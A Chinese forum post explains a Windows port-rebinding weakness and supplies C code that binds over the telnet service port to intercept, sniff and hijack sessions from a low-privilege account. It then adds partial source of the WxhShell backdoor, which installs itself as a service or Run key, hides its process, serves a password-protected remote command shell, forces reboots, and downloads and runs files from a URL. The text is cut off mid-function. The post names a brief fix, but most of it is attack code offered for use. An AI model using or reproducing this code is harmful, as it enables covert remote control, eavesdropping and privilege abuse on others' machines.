社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9255阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r|\5'ZMx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vy{rwZ$  
]|C_`,ux  
  saddr.sin_family = AF_INET; )T.pjl  
Y'<uZl^aX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Xa{~a3Wy  
fw1;i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #|{BGVp  
Q QsVIHA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wL8bs- U  
(1kn):  
  这意味着什么?意味着可以进行如下的攻击: ]689Q%D  
H7z>S G0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DGa#d_I  
~J:$gu~`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L;.VEz!  
-A~;MGY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z%Tq1O  
Njy9JX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d{iu+=NXz  
bK_0NrXP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9D{u,Q V  
l#2r.q^$|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CU#L *kz  
eHVdZ'%x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r!=]Q}`F  
3i]"#wK  
  #include dl*_ m3T  
  #include U,%s;  
  #include Q-! i$#-  
  #include    M&|sR+$^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   S4l)TtY  
  int main() ?VMi!-POE  
  { G zJ9N`  
  WORD wVersionRequested; ;H7EB`  
  DWORD ret; q5:0&:m$4$  
  WSADATA wsaData; %mK3N2N$  
  BOOL val; 8~&F/C*  
  SOCKADDR_IN saddr; l]a^"4L4`o  
  SOCKADDR_IN scaddr; lF; ziF  
  int err; =Q/w%8G  
  SOCKET s; W;3 R;  
  SOCKET sc; Qag|nLoT  
  int caddsize; ;x!,g5q"q  
  HANDLE mt; E<D+)A  
  DWORD tid;   u4Y6B ]Q  
  wVersionRequested = MAKEWORD( 2, 2 ); a-T*'F  
  err = WSAStartup( wVersionRequested, &wsaData ); O tXw/  
  if ( err != 0 ) { [ E$$nNs  
  printf("error!WSAStartup failed!\n"); !XgQJ7y_Z  
  return -1; FSW3'  
  } NDB*BmG  
  saddr.sin_family = AF_INET; bjM-Hd/K  
   K?h[.`}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (,- 5(fW  
2k.S[?)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cOzg/~\1  
  saddr.sin_port = htons(23); #W>x\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q*HAIw[<y  
  { lEO?kn.:z  
  printf("error!socket failed!\n"); 0=N4O!X9  
  return -1; vbr~<JT=  
  } 3gxf~$)?  
  val = TRUE; v;)BVv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #@nZ4=/z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Mq+viU&   
  { C!$Xv&"r  
  printf("error!setsockopt failed!\n"); S[-.tvI;Q  
  return -1; QT`fix{  
  } pu\b`3C(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #D!$~ h&i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 20 jrv'f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S 3{Dn  
7ZF}0K$^B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  )v${&H  
  { PRMZfYc  
  ret=GetLastError(); Tx y]"_  
  printf("error!bind failed!\n");  K&j' c  
  return -1; P/FrE~  
  } f?2zLE>u  
  listen(s,2); >=4sPF)  
  while(1) i{<8 hLO  
  { b cC\  
  caddsize = sizeof(scaddr);  Vil@?Y"  
  //接受连接请求 l)}<#Ri  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~&lQNl3`m6  
  if(sc!=INVALID_SOCKET) 5?^]1P_  
  { E2>im>p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Zn?8\  
  if(mt==NULL) F?!FD>L{`  
  { uEBQoP2  
  printf("Thread Creat Failed!\n"); g;$E1U=R-E  
  break; +nU',E  
  } DG_}9M!DW@  
  } `2pO5B50  
  CloseHandle(mt); Sq?,C&LsA  
  } AdDQWJ^r  
  closesocket(s); 4+)Z k$E  
  WSACleanup(); .8-PB*vb  
  return 0; 0 9tikj1  
  }   QxKAXq@)i  
  DWORD WINAPI ClientThread(LPVOID lpParam) [`q.A`Fd  
  { t9ER;.e  
  SOCKET ss = (SOCKET)lpParam; 4\v~HFsv  
  SOCKET sc; X8 8F>1}  
  unsigned char buf[4096]; AlUJ1^o)  
  SOCKADDR_IN saddr; cS4xe(n8  
  long num; p#)e:/Qy  
  DWORD val; QI.t&sCh5  
  DWORD ret; 6!@0VI&P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P1$f}K}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JL@F~U9  
  saddr.sin_family = AF_INET; e!6eZ)l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *`%4loW  
  saddr.sin_port = htons(23); ACgt" M.3F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #uB[&GG}W  
  { JW-|<CJ  
  printf("error!socket failed!\n"); X+@s]  
  return -1; .-J`d=Krp  
  } !TGr.R  
  val = 100; \{lE0j7}h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t`uc3ta"9  
  { b"^\)|*4;  
  ret = GetLastError(); R3cg2H  
  return -1; o94P I*.  
  } $kv@tzO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W.IH#`-9E  
  { ej<`CQ  
  ret = GetLastError(); #T[%6(QW  
  return -1; UB a-  
  } R \ia6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <H!O:Mf_p  
  { D6Dn&/>Zp  
  printf("error!socket connect failed!\n"); )t 5;d  
  closesocket(sc); _$!`VA%  
  closesocket(ss); KLW&bJ$|j  
  return -1; Jlz9E|*qV  
  } RTZ:U@  
  while(1) ("b*? : B  
  { <M=';h^w2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w\p9J0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <vL}l:r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  Ll?g.z"  
  num = recv(ss,buf,4096,0); \,hrk~4U;(  
  if(num>0) EPv%LX_j  
  send(sc,buf,num,0); h+5 @I%WX  
  else if(num==0) =88t*dH(,"  
  break; .ByU  
  num = recv(sc,buf,4096,0); w?*j dwh,'  
  if(num>0) kwO eHdV^  
  send(ss,buf,num,0); 'P,,<nkr|  
  else if(num==0) moaodmt]x  
  break; Fk aXA.JE  
  } p+vh[+yp  
  closesocket(ss); ]r!QmWw~V  
  closesocket(sc); Et.j1M|g  
  return 0 ; q#jEv-j.  
  } F'rt>YvF  
I'?6~Sn3  
d[S#Duz<&  
========================================================== an.`dBm  
*<UGgnmLE  
下边附上一个代码,,WXhSHELL jx'2N~$  
m!0N"AjA  
========================================================== i_NJ -K  
IyOpju)?  
#include "stdafx.h" rtus`A5p  
4j{oaey  
#include <stdio.h> o_(0  
#include <string.h> lJUy;yp_+  
#include <windows.h> D,E$_0  
#include <winsock2.h> BW>5?0E[4(  
#include <winsvc.h> k8 u%$G  
#include <urlmon.h> b9DR%hO:  
KXq_K:r?  
#pragma comment (lib, "Ws2_32.lib") P2t_T'R}  
#pragma comment (lib, "urlmon.lib") +v!v[qn  
zA,/@/'(  
#define MAX_USER   100 // 最大客户端连接数 0d";Hh:  
#define BUF_SOCK   200 // sock buffer Ox|TMSb^  
#define KEY_BUFF   255 // 输入 buffer |_, /u_  
K?[)E3  
#define REBOOT     0   // 重启 ]Z/R!y?l"G  
#define SHUTDOWN   1   // 关机 -,|ha>r  
gvGi %gq  
#define DEF_PORT   5000 // 监听端口 -~\f2'Q  
r ^ Y~mq  
#define REG_LEN     16   // 注册表键长度 gJk[Ja  
#define SVC_LEN     80   // NT服务名长度 {\L|s5=yr  
t$5jx  
// 从dll定义API |by@ :@*y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 06jMj26!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Wy.";/C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^SAq^3^P!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -%H%m`wD  
8kS~ENe?o  
// wxhshell配置信息 ami09JHy  
struct WSCFG { J.W Ho c  
  int ws_port;         // 监听端口 AEqq1A   
  char ws_passstr[REG_LEN]; // 口令 c.0]1  
  int ws_autoins;       // 安装标记, 1=yes 0=no vd(dNu&,<  
  char ws_regname[REG_LEN]; // 注册表键名 Z%e|*GS{  
  char ws_svcname[REG_LEN]; // 服务名 t!0dJud  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <sc\EK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FT( iX `YQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JhJLqb@q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9n 6fXOC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OX^3Q:Z=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A9;0y jae  
;cLUnsB\  
}; OXCQfT@\  
G0/>8_Q>Nr  
// default Wxhshell configuration R8 jovr  
struct WSCFG wscfg={DEF_PORT, ${>DhfF  
    "xuhuanlingzhe", :,^>d3k  
    1, <m]wi7  
    "Wxhshell", .8(%4ejJ(  
    "Wxhshell", S(w\ZC  
            "WxhShell Service", UJn/s;$.e  
    "Wrsky Windows CmdShell Service", bE4HDq34  
    "Please Input Your Password: ", si?HkJv5  
  1, Onw24&  
  "http://www.wrsky.com/wxhshell.exe", Q6x%  
  "Wxhshell.exe" !^L-T?y.2  
    }; ^/a*.cu  
M _(2sq  
// 消息定义模块 e "n|jRh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +$,dwyI2t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "lrA%~3%[P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jI0]LD1k  
char *msg_ws_ext="\n\rExit."; @ae>b  
char *msg_ws_end="\n\rQuit."; Bm} iU~(Z`  
char *msg_ws_boot="\n\rReboot..."; o_rtH|ntX5  
char *msg_ws_poff="\n\rShutdown..."; TY6 rwU  
char *msg_ws_down="\n\rSave to "; SQE` U  
&O*ENpF  
char *msg_ws_err="\n\rErr!"; $"fzBM?5  
char *msg_ws_ok="\n\rOK!"; [b;Uz|o  
>3P9 i ;W  
char ExeFile[MAX_PATH]; 9I kUZW  
int nUser = 0; @n@g)`  
HANDLE handles[MAX_USER]; zo44^=~%  
int OsIsNt; HH zEQV Lh  
WK4@:k m6)  
SERVICE_STATUS       serviceStatus; _z]v<,=3M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n_P(k-^U*  
4swKjN &  
// 函数声明 (Fqa][0  
int Install(void); M=[th  
int Uninstall(void); Hg whe=P  
int DownloadFile(char *sURL, SOCKET wsh); i| 4_ m  
int Boot(int flag); F`srE6H  
void HideProc(void); (I~\,[  
int GetOsVer(void); m^A]+G#/  
int Wxhshell(SOCKET wsl); 85hQk+Bu4  
void TalkWithClient(void *cs); X:{WZs"[x  
int CmdShell(SOCKET sock); \JU{xQMB  
int StartFromService(void); g@u;Y5  
int StartWxhshell(LPSTR lpCmdLine); qiU5{}  
L#ZLawG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?Pnx ~m{%*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D'n7&Y  
:H\&2/j  
// 数据结构和表定义 (#z;(EN0t  
SERVICE_TABLE_ENTRY DispatchTable[] = Qi:j)uDW  
{ ttj2b$M,  
{wscfg.ws_svcname, NTServiceMain}, u-39r^`5  
{NULL, NULL} ppFYc\&=  
}; i@6wO?Tv  
+V1}@6k :  
// 自我安装 e?=elN  
int Install(void) :l`i4kx  
{ a2X h>{  
  char svExeFile[MAX_PATH]; R9vY:oN%  
  HKEY key; W>:kq_gT  
  strcpy(svExeFile,ExeFile); ~d>uXrb  
lM+ xU;  
// 如果是win9x系统,修改注册表设为自启动 QT;Va#a  
if(!OsIsNt) { gVA; `<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  0Ve%.k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zDd5cxFdZ  
  RegCloseKey(key); <`+zvUx^?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eJ:Yj ~X`<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ls]H6z*q  
  RegCloseKey(key); A;T[['  
  return 0; R'Eq:Rv~;^  
    } sX5sL  
  } >HIt}Zh  
} }! =U^A)  
else { h ~fWE  
jN{Zw*  
// 如果是NT以上系统,安装为系统服务 yZ~b+=UM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xx0k$Dqt2I  
if (schSCManager!=0) cUsL 6y  
{ RM#fX^)=  
  SC_HANDLE schService = CreateService quRPg)  
  ( EZ{/]gCK  
  schSCManager, $`v+4]   
  wscfg.ws_svcname, $l#{_~ "m7  
  wscfg.ws_svcdisp, o$\tHzB9!A  
  SERVICE_ALL_ACCESS, V&R$8tpz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :])JaS^  
  SERVICE_AUTO_START, 5v3RVaqZ  
  SERVICE_ERROR_NORMAL, ZYDW v/u  
  svExeFile, <N-=fad]  
  NULL, FW5}oD( H  
  NULL, Ge0Lb+<G  
  NULL, 8H_l[/  
  NULL, &M= 3{[  
  NULL itHM7d  
  ); W]@6=OpH  
  if (schService!=0) \kyM}5G(<0  
  { P>fKX2eQ-  
  CloseServiceHandle(schService); T*R{L  
  CloseServiceHandle(schSCManager); hMWo\qM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zd+>  
  strcat(svExeFile,wscfg.ws_svcname); W6M jQ%f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "4RQ`.S R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `{<JC{yc?  
  RegCloseKey(key);  -tMA  
  return 0; gZ*hkKN6  
    } F:,#?  
  } 19) !$Hl  
  CloseServiceHandle(schSCManager); M2L0c?  
} ]$|st^Q  
} {?y<%@  
~M; gM]r;  
return 1; )\"I*Jwir  
} ",QPb3  
a-:pJE.'p  
// 自我卸载 ivD^HhG  
int Uninstall(void) hRLKb}  
{ W.p66IQwL&  
  HKEY key; 2n(ItA  
?l>e75V%w  
if(!OsIsNt) { ho_4fDv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { smbUu/  
  RegDeleteValue(key,wscfg.ws_regname); k0knPDbHv  
  RegCloseKey(key); (qbc;gBy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #.b^E3#+  
  RegDeleteValue(key,wscfg.ws_regname); *.xZfi_|  
  RegCloseKey(key); Stt* 1gT  
  return 0; MorW\7-}  
  } }`#B f  
} t +J)dr  
} YY\Rua/nG  
else { I0(8Z]x  
v/x*]c!"`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zaBG=  
if (schSCManager!=0) ^ISQ{M#_  
{ $M-NR||k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z<I[vp6{  
  if (schService!=0) Q+lbN  
  { "s${!A)  
  if(DeleteService(schService)!=0) { Ir^BC!<2>  
  CloseServiceHandle(schService); ^h`!f vyH  
  CloseServiceHandle(schSCManager); 8>m1UONr  
  return 0; ;}f6Y['z  
  } o3fR3P%$  
  CloseServiceHandle(schService); gn364U a  
  } M{G$Pk8[  
  CloseServiceHandle(schSCManager); 6z PV'~q  
} K/~Y!?:J r  
} C_C$5[~-:  
O4n8MM|`  
return 1; ]2P/G5C3tU  
} #c :9 V2  
VGfD;8]z  
// 从指定url下载文件 e`vUK.UoW  
int DownloadFile(char *sURL, SOCKET wsh) {;\%!I  
{ <e[!3,%L  
  HRESULT hr; |^Ur  
char seps[]= "/"; u^!&{q  
char *token; E $<;@  
char *file; ??q!jm-m  
char myURL[MAX_PATH]; FDl,Ey^r/  
char myFILE[MAX_PATH]; A7.JFf>  
rpx 0|{m  
strcpy(myURL,sURL); f x%z| K  
  token=strtok(myURL,seps); EmF]W+!z%  
  while(token!=NULL) F W/)uf3I  
  { A<a2TXcIE3  
    file=token; [GOX0}$?  
  token=strtok(NULL,seps); O3!Ouh&  
  } zo/0b/lQ  
t;oT {Hge  
GetCurrentDirectory(MAX_PATH,myFILE); 1`nc8qC  
strcat(myFILE, "\\"); |3aS17yL>  
strcat(myFILE, file); Feh"!k <6k  
  send(wsh,myFILE,strlen(myFILE),0); O\3r%=TF  
send(wsh,"...",3,0); C:WtCAm(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'M47'{7T  
  if(hr==S_OK) vR<fdV  
return 0; XryQ)x(  
else F]hx  
return 1; Xqc'R5C w  
S83]O!w0  
} Jii?r*"d  
-WQ_[t9l  
// 系统电源模块 uPM8GIvZX.  
int Boot(int flag) {hlT` K  
{ ~+7ad$   
  HANDLE hToken; +#^sy>  
  TOKEN_PRIVILEGES tkp; |^ 2rtI  
D!81(}p  
  if(OsIsNt) { v$qpcu#o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bM*Pcxv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AM1/\R  
    tkp.PrivilegeCount = 1; }G"r3*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q>cL?ie  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xi1q]ps  
if(flag==REBOOT) { 50}.Xm@,BO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bjU 2UcI"<  
  return 0; !&1}w86  
} a15,'v$O  
else { B]&Lh~Im  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f hVbJU  
  return 0; ?{y:s!!  
} tf.q~@Pi  
  } olUqBQ&ol  
  else { Dwm@E\^ihm  
if(flag==REBOOT) { WO.}DUfG+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'YBLU)v[  
  return 0; R^mu%dw)(%  
} p~v2XdR  
else { w0q?\qEX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KZ367&>b7  
  return 0; I{i:B  
} 03i?"MvNo  
} 6Cop#kW#  
n"K {uj))  
return 1; k)<~nc-  
} b/a?\0^  
6E)uu; 8  
// win9x进程隐藏模块 F^/~@^{P  
void HideProc(void) 1t~S3Q||>]  
{ n.;5P {V1  
=woqHTR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;] l{D}  
  if ( hKernel != NULL ) eG[umv.9b  
  { PHe~{"|d?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o O{|C&A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LaEX kb*s  
    FreeLibrary(hKernel); l^!0|/Vw  
  } H|UV+Q0,  
te!]9rR  
return; c0,gfY%sI$  
} 7cOg(6N  
KxgR5#:i"  
// 获取操作系统版本 OuYE-x2]x"  
int GetOsVer(void) %WJ\'@O\  
{ pw(U< )  
  OSVERSIONINFO winfo; \'}/&PCkr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y]`lEq%  
  GetVersionEx(&winfo); h&:Q$*A>   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sqMNon`5  
  return 1; ?,+C!R?  
  else 0pZ.; /<{  
  return 0; s)`1Rf  
} 7DC0W|Fe  
&y+PSa%n  
// 客户端句柄模块 ~L4*b *W  
int Wxhshell(SOCKET wsl) b _K?ocq  
{ r(?'Yy  
  SOCKET wsh; 0k] ju  
  struct sockaddr_in client; h M1&A  
  DWORD myID; 'JW_]z1  
3^iQe"P%a@  
  while(nUser<MAX_USER) l1iF}>F2  
{ %BKR}  
  int nSize=sizeof(client); Z<,CzKs+||  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;/hH=IT  
  if(wsh==INVALID_SOCKET) return 1; [][:/~q!  
(c*7VO;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 709Uv5  
if(handles[nUser]==0) Xdp`Z'g  
  closesocket(wsh); ]Gi+Z1q  
else E&T'U2  
  nUser++; hq&  
  } j 44bF/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nIN%<3U2  
YiQeI|{oN  
  return 0; [M8qU$&?]  
} #%=vy\r  
e{rHO,#A>  
// 关闭 socket 3ZJagJ\O  
void CloseIt(SOCKET wsh) y9re17{ X  
{ kVG6\<c]  
closesocket(wsh); 9 FFfRIVY  
nUser--; 8n."5,P  
ExitThread(0); Ep,0Z*j  
} 5LhJ8$W  
x" :Bw;~  
// 客户端请求句柄 =J[[>H'<d  
void TalkWithClient(void *cs) GqK&'c   
{ G,mH!lSm,  
;5JIY7t  
  SOCKET wsh=(SOCKET)cs; v[3hnLN%  
  char pwd[SVC_LEN]; u`H@Q&(^wa  
  char cmd[KEY_BUFF]; -<}>YtB Q  
char chr[1]; G+QNg .pH  
int i,j; CrwcYzrRWl  
]`i@~Z h\  
  while (nUser < MAX_USER) { 2'UFHiK  
n\8[G [M  
if(wscfg.ws_passstr) { n[cyK$"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^hYR5SX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YK=#$,6  
  //ZeroMemory(pwd,KEY_BUFF); 65e Wu=T  
      i=0; Ppo^qb  
  while(i<SVC_LEN) { )(|0KarF  
/NN[gz  
  // 设置超时 ,h(f\h(9  
  fd_set FdRead; JXy667_  
  struct timeval TimeOut; #3:'lGBIK  
  FD_ZERO(&FdRead); 39a]B`y  
  FD_SET(wsh,&FdRead); ptcH>wM!  
  TimeOut.tv_sec=8; Rp%\`'+Xz  
  TimeOut.tv_usec=0; O^="T^J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HV.|Eh_7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m 'H  
YI\Cs=T/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x8rFMR#S=  
  pwd=chr[0]; X#NeB>~  
  if(chr[0]==0xd || chr[0]==0xa) { }AH|~3|D  
  pwd=0; r|H!s,  
  break; 3TvhOC>yG  
  } Fi3(glgd-  
  i++; ht74h  
    } 1r:fxZO\Vd  
4uAb LSh9  
  // 如果是非法用户,关闭 socket m$y$wo<K[7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !L.z4n,n+  
} H1ui#5n2  
d# ?* 62  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /wRK[i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;KZ2L~ THG  
kc(b;EA  
while(1) { -mYI[AG)  
\,IDLXqp  
  ZeroMemory(cmd,KEY_BUFF); HgBEV  
qx<zX\qI6n  
      // 自动支持客户端 telnet标准   N+@@EOmH  
  j=0; nF[eb{GR`  
  while(j<KEY_BUFF) { Z a y'/b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `kT$Gx4x  
  cmd[j]=chr[0]; xg1r 3  
  if(chr[0]==0xa || chr[0]==0xd) { ve]95w9J  
  cmd[j]=0; T+{'W  
  break; #?d>S;)+  
  } Ywb)h^{!  
  j++; {ZYCnS&?CL  
    } 6Q?6-,?_  
*Lk&@(  
  // 下载文件 cXE y>U|/  
  if(strstr(cmd,"http://")) { (L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DmpJzH j|  
  if(DownloadFile(cmd,wsh)) ] 8cX#N,M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +CHO0n  
  else F-OZIo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P>,D$-3  
  } 4a-F4j'  
  else { s?I=}  
=&G|} M  
    switch(cmd[0]) { 7Sv5fLu2  
  8o5^H>  
  // 帮助 c+M@{EbuN  
  case '?': { J0)WRn"h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S gsR;)2  
    break; =,;3z/k%  
  } E0x$;CG!  
  // 安装 ]CJ>iS!V  
  case 'i': { aj-uk(r  
    if(Install()) ]vyF&`phb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N P(?[W  
    else O9IjU10:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MZF ;k$R  
    break; \z?;6A  
    } O6 J<Lqgh  
  // 卸载 }Nc!8'@  
  case 'r': { .Zz7LG{  
    if(Uninstall()) ^[NmNi*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "_}D{ws1  
    else 1{glRY'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e ^& 8x  
    break; g}j>;T  
    } DL Q`<aU  
  // 显示 wxhshell 所在路径 }XE/5S}D  
  case 'p': { vPq\reKe  
    char svExeFile[MAX_PATH]; W@}5e-q)O  
    strcpy(svExeFile,"\n\r"); H;te)km}  
      strcat(svExeFile,ExeFile); Gjh7cm>  
        send(wsh,svExeFile,strlen(svExeFile),0); `^h##WaXap  
    break; @G{DOxE*  
    } ]b$,.t5  
  // 重启 .B n2;nO  
  case 'b': { EqU[mqeF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IY6S\Gn  
    if(Boot(REBOOT)) P9!]<so  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J4^cd  
    else { !@ '2  
    closesocket(wsh); [uV/ Ra*g  
